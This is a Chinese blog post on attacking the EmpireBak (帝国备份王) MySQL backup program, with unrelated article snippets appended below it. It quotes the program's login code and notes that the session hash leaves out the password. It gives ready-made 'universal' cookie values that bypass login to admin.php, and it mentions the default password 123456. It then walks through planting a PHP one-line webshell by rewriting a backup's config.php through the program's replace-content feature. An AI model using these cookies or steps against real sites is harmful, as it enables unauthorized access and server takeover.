1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

登录成功设置4个cookie,看代码

function login($lusername,$lpassword,$key,$lifetime=0){    global $set_username,$set_password,$set_loginauth,$set_loginkey;    if(empty($lusername)||empty($lpassword))    {    printerror("EmptyLoginUser","index.php");    }    //验证码    if(!$set_loginkey)    {    if($key<>getcvar('checkkey')||empty($key))    {    printerror("FailLoginKey","index.php");    }    }    if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    {    printerror("ErrorUser","index.php");    }    //认证码    if($set_loginauth&&$set_loginauth!=$_POST['loginauth'])    {    printerror("ErrorLoginAuth","index.php");    }    $logintime=time();    $rnd=make_password(12);//生成随机字符    $s1=esetcookie("bakusername",$lusername,0);    $s2=esetcookie("bakrnd",$rnd,0);//随机字符    $s3=esetcookie("baklogintime",$logintime,0);    Ebak_SCookieRnd($lusername,$rnd);//    if(!$s1||!$s2)    {    printerror("NotOpenCookie","index.php");    }    printerror("LoginSuccess","admin.php");    } 

再看看make_password函数

function make_password($pw_length){    $low_ascii_bound=50;    $upper_ascii_bound=122;    $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    while($i<$pw_length)    {    mt_srand((double)microtime()*1000000);    $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    if(!in_array($randnum,$notuse))    {    $password1=$password1.chr($randnum);    $i++;    }    }    return $password1;    } 

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

function Ebak_SCookieRnd($username,$rnd){    global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了    esetcookie("loginebakckpass",$ckpass,0);    } 

下面给出万能cookie(key:value):

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    ebak_bakrnd:35y5cCnnA4Kh    ebak_bakusername:admin    ebak_baklogintime:4070883661 

使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库备份数据,随便找个数据库备份,

然后到替换目录文件内容里,选择刚才备份的数据库,

"$b_table="
替换成

"phpinfo();//或者写你的一句话木马

$b_table="

访问那个目录的/config.php即可~

帝国备份王(Empirebak)万能cookie及拿shell的更多相关文章

  1. 帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 EmpireBak是一款完全免费.专门为Mysql大数据的备份与导入而设 ...

  2. 使用帝国备份王软件提示 Parse error: syntax error, unexpected end of file

    使用帝国备份王软件提示 Parse error: syntax error, unexpected end of file时, 可以尝试一下方法: 1.php.ini要把short_open_tag ...

  3. wamp集成环境下帝国备份出错

    我在本地wamp环境下面使用帝国备份王时,报错信息如下: Parse error: syntaxerror, unexpected $end in D:wampwwwhuifuclassfunctio ...

  4. 检查ftp备份数据完整性及短信告警的shell脚本

    发布:thebaby   来源:net     [大 中 小] 检查ftp备份数据完整性及短信告警的shell,有需要的朋友可以参考下. 该脚本实现如下的功能: 对远程备份到ftp服务器的数据完整性及 ...

  5. ITest

    渗透测试入门 我很简单,请不要欺负我 网站综合渗透实验: 真的很简单: 你是会员吗: 2015中国网络安全大赛 一.代码执行: 同DZ漏洞全家桶中的"又见DZ,我能那你怎么办". ...

  6. 帝国CMS备份出现数据恢复不完整的问题

    今天linux主机中毒了,把用帝国备份王备份之后,恢复了快照到刚建主机的状态: 哎,只怪当初没有勤快的去做快照啊: 重新配置好后: 开始使用帝国备份王: 数据恢复之后,打开文章,提示"附加表 ...

  7. Windows下mysql自动备份的最佳方案

    网上有很多关于window下Mysql自动备份的方法,其实不乏一些不好的地方和问题,现总结出一个最好的方法供大家参考: 新建一个记事本,然后重命名为: mysql_backup.bat 然后单击右键选 ...

  8. OneinStack定时同步备份数据库/网站至七牛云存储方法

    无论我们用WEB面板,还是用一键脚本安装环境建站,只要一旦我们开始用VPS.服务器,最为关键的就是服务器中的数据.因为大部分VPS.服务器商家都是无管理型主机,任何的安装和维护都需要我们自行管理.即便 ...

  9. [原创]K8飞刀Final

    法律声明: 工具仅供安全研究或授权渗透,非法用途后果自负. 工具: K8飞刀Final作者: K8哥哥博客: https://www.cnblogs.com/k8gege简介: 一款多功能网络安全渗透 ...

随机推荐

  1. Understanding Kafka Consumer Groups and Consumer Lag

    In this post, we will dive into the consumer side of this application ecosystem, which means looking ...

  2. 彻底删除Kafka中的topic

    1.删除kafka存储目录(server.properties文件log.dirs配置,默认为"/tmp/kafka-logs")相关topic目录 2.Kafka 删除topic ...

  3. Sublime text追踪函数插件:ctags

    转自:http://blog.csdn.net/xxhsu/article/details/30766675 一.下载: 1)http://ctags.sourceforge.net/ 2)http: ...

  4. Liferay 6.2 改造系列之八:修改默认安装的Portlet项目War包

    Liferay默认在Tomcat.Jetty等服务器情况下,自动安装marketplace-portlet-6.2.0.1.war包,实现应用商店的自动部署,一般不需要应用商店,故删除以下包即可: / ...

  5. Sigar介绍与使用

    Sigar是Hyperic-hq产品的基础包,是Hyperic HQ主要的数据收集组件.它用来从许多平台收集系统和处理信息. 这些平台包括:Linux, Windows, Solaris, AIX, ...

  6. css -- 映像 ,分页(上一页下一页)

    1.映像:-webkit-box-reflect:blow 2px -webkit-gradient( linear, left top, left bottom, from(transparent) ...

  7. 【转】】Android ADB命令大全

    ADB很强大,记住一些ADB命令有助于提高工作效率. 获取序列号: adb get-serialno 查看连接计算机的设备: adb devices 重启机器: adb reboot 重启到bootl ...

  8. 11039 - Building designing

      Building designing  An architect wants to design a very high building. The building will consist o ...

  9. ccc 音乐播放

    cc.Class({ extends: cc.Component, properties: { musicPlayer: { default: null, type: cc.AudioSource } ...

  10. BZOJ4110 : [Wf2015]Evolution in Parallel

    首先每个串都必须是$S$的子序列,否则无解. 按长度从小到大依次考虑每个串,如果它两边都不能放,那么无解. 如果能放一边,那么放进去,把待定的全部放入另一边. 如果两边都能放,那么看看能否待定,如果不 ...